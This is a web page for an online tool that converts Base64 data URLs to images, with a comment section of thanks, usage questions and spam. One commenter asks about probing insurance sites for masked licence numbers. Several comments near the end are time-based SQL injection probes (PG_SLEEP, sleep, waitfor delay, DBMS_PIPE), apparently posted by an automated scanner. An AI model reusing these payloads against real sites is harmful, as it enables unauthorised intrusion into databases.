A virtual teacher who reveals to you the great secrets of Base64

Data URL to image

Convert data URL to image using a free online tool which is able to automatically extract data URI images from text and display them as images. For each image, some basic information is shown and of course, the image itself is displayed. Also there is a special link to download the image.


Please note that this tool can extract data URI images that are encoded to Base64. Also, it can extract SVG images encoded to percent-encoding (URL encoding). If it misses any format, please let me know.

Comments (26)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • Eddie,
    This site is awesome! Great work!
    If I profit as a result of this site, I will certainly donate!
    • Administrator,
      Hey, Eddie! Thank you for your kind words. I'm glad that you find this site useful.
      • ERTETRET,
        RTRTERTERTR
  • m0dep0wer,
    data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0ibm9uZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPHBhdGggZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik01Ljk4ODYgMy45MjkyM0MyLjY2OTE0IDcuMTY4MiAyLjk5OTAyIDEyIDUuOTg4NiAxNS42NTg2TDExLjk5OSAyM0wxOC4wMDk0IDE1LjY1ODZDMjAuOTk5IDEyIDIxLjMyODkgNy4xNjgyIDE4LjAwOTQgMy45MjkyM0MxNC42OSAwLjY5MDI1NyA5LjMwODA1IDAuNjkwMjU3IDUuOTg4NiAzLjkyOTIzWk0xMS45OTkgMTIuNUMxMy42NTU5IDEyLjUgMTQuOTk5IDExLjE1NjkgMTQuOTk5IDkuNUMxNC45OTkgNy44NDMxNSAxMy42NTU5IDYuNSAxMS45OTkgNi41QzEwLjM0MjIgNi41IDguOTk5MDIgNy44NDMxNSA4Ljk5OTAyIDkuNUM4Ljk5OTAyIDExLjE1NjkgMTAuMzQyMiAxMi41IDExLjk5OSAxMi41WiIgZmlsbD0iYmxhY2siLz4KPC9zdmc+Cg==" style="outline: rgb(255, 80, 80) solid 1px; background-color: rgba(4, 174, 198, 0.3); box-shadow: rgb(4, 174, 198) 0px 0px 20px 0px !important;"

    is there anyways i can get the hiding image or text? texting out vuls on insurance sites that displays last 4digits of Dl and hides the rest..

    thanks
    • Carson,
      Bro if you don't know anything about security, read up on how to spot a vulnerability first. Chances are they aren't storing anything sensitive in Base64, everyone (especially these days in 2022 [even in 2020 when you originally posted that comment too]) knows it's not an encryption method and can easily be reversed by a COMPLETE noob.. I knew this as an 11 year old 1-2 years after I started teaching myself programming, if not EXTREMELY LONG WELL before then.. My advice if you are trying to learn to hack, get a book and learn to code FIRST. Second, learn how the HTTP Protocol works (there are books on this too that explain it really well, but I'm sure you can find videos on YouTube that explain just as much as the books I am referring to, as well as websites with text and picture based explanations). Third, get another book on Exploiting Web Applications, and learn how to SPOT web vulnerabilities and exploit them (they are the easiest to learn).

      And by the way I just realized I wasted my time typing this. That Data URL link with the Base64 in it was just a picture of a geolocation icon. No private data was even stored in the XML of the SVG either. :| Bro you ain't "testing" any vulnerabilities considering you don't know what a vulnerability is in the first place. Words to live by my friend! ?????
      • Administrator,
        Hey Carson!
        Thank you for your message. By and large, I like it, except for some little things. I edited it a bit to make it look more friendly and I hope you don't mind it. Otherwise, please email me and let me explain why I did it.
  • Subscribe,
    This site is awesome! Thank you!
      __  __
     /  \/  \
     \      /
      \    /
       \__/
  • TomB,
    Super useful, saved me hours of work finding problems with html2canvas.
  • abc,
    Good job!!!!!
  • Macdonald,
    Ha this guy is simply superb. Helped me manage to display base64 into an image file efficiently and with easy. Had spend a week looking or a solution
  • Alan,
    I've got an epub which has hundreds of inline images coded b64. I want to convert these to separate images. I can open it as xhtml in a web browser and save each image as an image file manually, but there are a lot of them. Is there a way to extract them all at once? I looked at the browser caches, but they don't appear to be there.
    Example:

    <img alt="Code Break" src="data:image/gif;base64,R0lGODdhWAICAOMJAAAAAH9/f39/gIB/f4B/gH+Af3+AgICAf4CAgP///////////////////////////ywAAAAAWAICAAAE/hDISau9OOvNu/9gKI5kaZ5oqq5s675wLFdHQAyDgSDBQQiFg8EQMBQKRR3yNjgKCIQe4hgICAyCAzB4FQBzh8IQSqgdEDjvQCvA7QgGAkKLFdrahvXVED4j+AcDPU06AUdGc2EFAgEIPwOOcAU/RnE3bTkFUwdCQnI/NVc5PWJ2eYKONppRZXMBOU9/r0YDl3NNmlYCCFsEmn9eYVg6vK+pgjdQjJNRkDu8nLOVuzZKQMVwjEZeRHBVRZRgcTw7w40Fa1E+c75aQb5TbaJEfoe1QrV8jWdQ6Ii1Wfg8wYTkj45T2yDtooblhh8enIZFmbWmURtoNnwEMWToyABGVZQmTXoSqBGRHLim8EHCBYecHlgOMcJniUuZO2KqcLpSpozHQMyoRMGkI8oOH4I6trESZ02cV4ZIWrnHo0wnX2UgVYG0RkwWlfg0nekhr8aPi/HKRAAAOwA=" id="27605"/>

    I can extract the b64 to the file "Code_Break.gif" (using the "alt" description to make the filename, as this seems to be unique) and make the code
    <img alt="Code Break" src="../Images/Code_Break.gif" id="27605"/>
    I guess could also use the "id" as the name, less user friendly but also unique.
    • Administrator,
      Hello Alan! If I understand correctly, you want to extract Base64 values and save them as images/files into a directory? If so, then you need to develop a parser using any programming language that allows file manipulation.
  • SW5mc3RlZE5leHVz,
    If someone were to create a page like this, but it was reached via a URL like https://base64.guru/tools/data-url-to-image/(Image → Base64 → Percent-encoding) eg;


    https://base64.guru/tools/data-url-to-image/data%3Aimage%2Fgif%3Bbase64%2CR0lGODlhZABkAPcAAAAAAAAAMwAAZgAAmQAAzAAA%2FwArAAArMwArZgArmQArzAAr%2FwBVAABVMwBVZgBVmQBVzABV%2FwCAAACAMwCAZgCAmQCAzACA%2FwCqAACqMwCqZgCqmQCqzACq%2FwDVAADVMwDVZgDVmQDVzADV%2FwD%2FAAD%2FMwD%2FZgD%2FmQD%2FzAD%2F%2FzMAADMAMzMAZjMAmTMAzDMA%2FzMrADMrMzMrZjMrmTMrzDMr%2FzNVADNVMzNVZjNVmTNVzDNV%2FzOAADOAMzOAZjOAmTOAzDOA%2Fz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zrTTAmRfNN8vHPr41ay2vXriryp48c9ivAxk7mK3TvjjscuP%2BNZlTvx2879Bi3HHMXW%2Bc397LSqy88Qv%2FXvzzPzYt%2FfEkBQQAOw%3D%3D


    and the loaded page automatically did Percent-decoding → Base64 → Image to display the image, it could be a very useful utility.
  • nqhXncMU,
    -5 OR 530=(SELECT 530 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    SW5HK1wl'; waitfor delay '0:0:15' --
  • nqhXncMU,
    -1 OR 3+46-46-1=0+0+0+1 --
  • nqhXncMU,
    -1)) OR 383=(SELECT 383 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    frRaZU5e') OR 799=(SELECT 799 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • ncMUFCMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • ncMUFCMU,
    -1' OR 3+171-171-1=0+0+0+1 --
  • Margery,
    Tu blog es un recordatorio constante de que aprender puede ser emocionante y enriquecedor.
    La forma en que presentas la información hace que la búsqueda de conocimiento sea un verdadero placer.
    ¡Gracias por hacerlo tan divertido! pistola de calor makita 18v -
    sierra fina japonesa
  • testing,
     This is my code 
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.